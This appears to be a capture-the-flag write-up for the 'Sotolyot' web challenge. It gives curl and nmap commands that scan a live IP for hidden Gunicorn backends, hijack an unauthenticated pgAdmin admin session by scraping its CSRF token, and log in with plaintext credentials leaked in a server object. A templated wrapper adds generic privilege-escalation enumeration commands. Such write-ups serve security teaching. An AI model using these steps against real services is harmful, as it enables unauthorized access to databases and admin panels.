← Back to Writeups
HTBMediumWeb

Сотолёт

D3v0o0Nu119/10/20265 min read
#web#htb#medium#alternate_port_discovery#exposed_admin_session#credential_recovery#authenticated_api_access

Сотолёт

Platform: Avitoctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-22 | Status: Solved Techniques: alternate_port_discovery, exposed_admin_session, credential_recovery, authenticated_api_access

Summary

Task: A public flight map leaks a hidden route while nginx blocks two operational subdomains. Solution: Discover exposed Gunicorn backends, inspect an open pgAdmin desktop session, recover cockpit credentials, and query the authenticated admin API.

Recon

Port scan

bash
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: avitoctf | ID: 20260722_avitoctf_sotolyot
  • Tags: flask, nginx, broken_access_control, exposed_service, pgadmin
  • Indicators: protected subdomains return nginx 403, Gunicorn exposed on ports 8080 and 8443, pgAdmin desktop mode with an admin session, client-side hidden route filtering
  • Source: 20260722_avitoctf_sotolyot.md

Foothold

Vulnerability / Misconfiguration

  1. alternate_port_discovery
  2. exposed_admin_session
  3. credential_recovery
  4. authenticated_api_access
bash
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

bash
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
bash
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • alternate_port_discovery
  • exposed_admin_session
  • credential_recovery
  • authenticated_api_access
  • Tags: flask, nginx, broken_access_control, exposed_service, pgadmin

Original Writeup

<details><summary>Click to expand original content</summary>

Sotolyot — avitoctf

Description

Медоеды засекли передвижение Королевы «Золотой Соты». Чтобы узнать её намерения и помешать планам улья, нужен её маршрутный лист. На периметре — только Сотолёт, операционный портал роя «Золотая Сота» с публичной картой вылетов. Получите доступ к панели старшего диспетчера и раздобудьте маршрутный лист Королевы. Target: sotolet.ru/.

The public site provides a tactical flight map. The goal is to reach the senior dispatcher's cockpit and obtain the Queen's route sheet.

Analysis

Public application leak

The public JavaScript requests /api/map-data and then removes hidden routes only in the browser:

javascript
const response = await fetch("/api/map-data", { cache: "no-store" });
const payload = await response.json();
routes = payload.routes || [];
visibleRoutes = routes.filter((route) => !route.hidden);

Requesting the API directly disclosed an object with id=queen-route, hidden=true, and a description meaning "Queen escort." Its trajectory was replaced by eight XXX groups, so this client-side disclosure identified the target object but did not reveal the route sheet or flag.

The main HTML also advertised sotobaza.sotolet.ru and sotokabina.sotolet.ru. Both HTTPS front doors returned the same nginx/1.27.5 native 403 response.

Failed nginx bypasses

The following families did not cross the nginx boundary:

  • spoofed client IP headers, including X-Forwarded-For and X-Real-IP;
  • Referer, Origin, hostname case, and trailing-dot variations;
  • alternate methods and path-normalization forms;
  • SNI, Host, and absolute-form request-target differences.

These stable 403 responses indicated a real perimeter ACL rather than an application authorization check. The successful pivot was therefore infrastructure discovery on the same authorized IP, not another nginx parser variation.

Solution

1. Discover the directly exposed backends

A targeted scan of the public address found two additional HTTP services:

bash
nmap -Pn -n -T3 -sV -p 8080,8443 84.201.131.80

Both ports were identified as Gunicorn. Port 8080 redirected to /browser/, while plain HTTP on port 8443 redirected to /login:

bash
curl -i http://84.201.131.80:8080/
curl -i http://84.201.131.80:8443/

This bypassed the nginx source-access boundary by reaching the application servers directly.

2. Inspect the exposed pgAdmin session

Port 8080 exposed pgAdmin 4 v9.16 in desktop mode with an already authenticated administrator session. The generated utility script supplied the CSRF header name and token; pgAdmin API calls required that token together with the session cookie.

bash
curl -sS -c pg.cookies \
  http://84.201.131.80:8080/browser/ -o pgadmin.html

curl -sS -b pg.cookies \
  http://84.201.131.80:8080/browser/js/utils.js -o utils.js

CSRF=$(python3 -c 'import re; s=open("utils.js").read(); print(re.search(r"csrf_token[^=]*=\s*\x27([^\x27]+)", s).group(1))')

curl -sS -b pg.cookies -H "X-pgA-CSRFToken: $CSRF" \
  http://84.201.131.80:8080/browser/server_group/nodes/

curl -sS -b pg.cookies -H "X-pgA-CSRFToken: $CSRF" \
  http://84.201.131.80:8080/browser/server/nodes/1/

The current-user script identified administrator postgres, and the server list contained Sotobaza (bee), ChiefDB (chief), and PG (postgres). Inspecting server object 7 returned its configuration:

bash
curl -sS -b pg.cookies -H "X-pgA-CSRFToken: $CSRF" \
  http://84.201.131.80:8080/browser/server/obj/1/7

The passexec_cmd field contained cockpit credentials: starshina_sot / SMENA-STARSHINA-7741.

Shared-state contamination caveat

The command text in passexec_cmd was clearly a pre-existing reconnaissance payload in mutable shared-instance state, likely left by another solver. It was treated strictly as untrusted text and was never executed. Therefore, the credential-recovery observation is reproducible from the captured state but may not represent the intended route on a pristine instance; this writeup does not claim that the injected command was ours or that it was run.

3. Authenticate to the cockpit

The recovered credentials authenticated successfully to the direct backend on port 8443:

bash
curl -i -c cockpit.cookies -X POST \
  http://84.201.131.80:8443/login \
  --data-urlencode 'login=starshina_sot' \
  --data-urlencode 'password=SMENA-STARSHINA-7741'

The server answered 302 Location: / and issued a Flask session for callsign starshina_sot. Fetching the authenticated panel exposed /static/js/admin.js:

bash
curl -sS -b cockpit.cookies http://84.201.131.80:8443/ -o cockpit-panel.html
curl -sS -b cockpit.cookies http://84.201.131.80:8443/static/js/admin.js -o admin.js

The script requested /api/admin-data and, for queen-route, rendered route.flag rather than the ordinary trajectory field. The final request was:

bash
curl -sS -b cockpit.cookies \
  http://84.201.131.80:8443/api/admin-data -o admin-data.json

python3 - <<'PY'
import json
import re

data = json.load(open("admin-data.json"))
route = next(r for r in data["map"]["routes"] if r["id"] == "queen-route")
assert route["status"] == "FLAG"
assert re.fullmatch(r"avito\{[^}]+\}", route["flag"])
print("verified flag-shaped value in queen-route")
PY

The authenticated API supplied the Queen route's distance, FLAG status, and a value matching the required flag format.

Evidence

  • tactical-map.js and map-data.json: public client-side filtering and the redacted hidden route.
  • nmap-altports.txt: Gunicorn on TCP 8080 and 8443.
  • pg-current-user.js, _browser_js_utils.js, pg-servergroups.json, and pg-servers.json: desktop-mode admin context, CSRF details, and registered database servers.
  • pg-server-7.json: contaminated server object containing the observed credentials.
  • cockpit-login-post.headers: successful login redirect and Flask session issuance.
  • cockpit-panel.html, admin.js, and admin-data.json: authenticated admin panel, privileged API path, and final route object.
</details>

signed by XESXOR